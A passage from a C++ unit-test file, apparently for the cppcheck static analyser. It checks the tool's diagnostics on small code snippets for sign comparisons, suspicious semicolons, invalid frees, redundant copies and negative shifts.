ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 